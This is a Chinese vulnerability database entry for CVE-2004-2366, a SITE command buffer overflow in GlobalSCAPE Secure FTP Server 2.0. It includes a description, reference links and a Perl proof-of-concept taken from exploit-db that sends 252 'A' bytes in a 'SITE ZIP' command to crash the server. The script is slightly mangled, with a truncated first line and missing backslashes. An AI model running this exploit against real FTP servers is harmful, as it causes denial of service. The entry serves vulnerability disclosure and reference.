GlobalSCAPE Secure FTP Server SITE命令远程缓冲区溢出漏洞

GlobalSCAPE Secure FTP Server SITE命令远程缓冲区溢出漏洞

漏洞ID 1107813 漏洞类型 边界条件错误
发布时间 2004-03-17 更新时间 2005-10-20
图片[1]-GlobalSCAPE Secure FTP Server SITE命令远程缓冲区溢出漏洞-安全小百科CVE编号 CVE-2004-2366
图片[2]-GlobalSCAPE Secure FTP Server SITE命令远程缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200412-851
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/23839
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-851
|漏洞详情
GlobalSCAPESecureFTPServer是一款安全加强的FTP服务程序。GlobalSCAPESecureFTPServer对SITE命令参数缺少充分的边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可使服务程序崩溃或执行任意指令。如提交包含超过252字节参数的SITEZIP命令,即使FTP服务程序不支持SITEZIP命令,也可触发缓冲区溢出,精心构建提交数据可能以进程权限在系统上执行任意指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/9904/info

It has been reported that Secure FTP Server may be prone to a remote buffer overflow vulnerability that may allow attackers to execute arbitrary code on a vulnerable system in order to gain unauthorized access. An attacker may cause the buffer overflow condition to occur by sending about 252 bytes of data via a parameter of the SITE Command. Immediate consequences of an attack may result in a denial of service condition. The possibility of remote code execution has not been confirmed at the moment.

Secure FTP Server version 2.0 Build 03.11.2004.2 has been reported to prone to this issue.

e IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "2117");

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connectedn";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}

$remote->autoflush(1);

my $ftp = "USER anonymousrn";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "[email protected]", "rn");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

$ftp = join ("", "SITE ZIP /d:", "A"x(252), "rn");

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote;
|参考资料

来源:XF
名称:secureftp-site-command-bo(15511)
链接:http://xforce.iss.net/xforce/xfdb/15511
来源:BID
名称:9904
链接:http://www.securityfocus.com/bid/9904
来源:SECUNIA
名称:11159
链接:http://secunia.com/advisories/11159/
来源:www.securiteam.com
链接:http://www.securiteam.com/windowsntfocus/5KP0C20CAC.html
来源:www.cuteftp.com
链接:http://www.cuteftp.com/gsftps/history.asp
来源:NSFOCUS
名称:6183
链接:http://www.nsfocus.net/vulndb/6183

相关推荐: DCP-Portal 3.7/4.x/5.x – ‘index.php’ Multiple Cross-Site Scripting Vulnerabilities

DCP-Portal 3.7/4.x/5.x – ‘index.php’ Multiple Cross-Site Scripting Vulnerabilities 漏洞ID 1054707 漏洞类型 发布时间 2004-10-06 更新时间 2004-10-…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享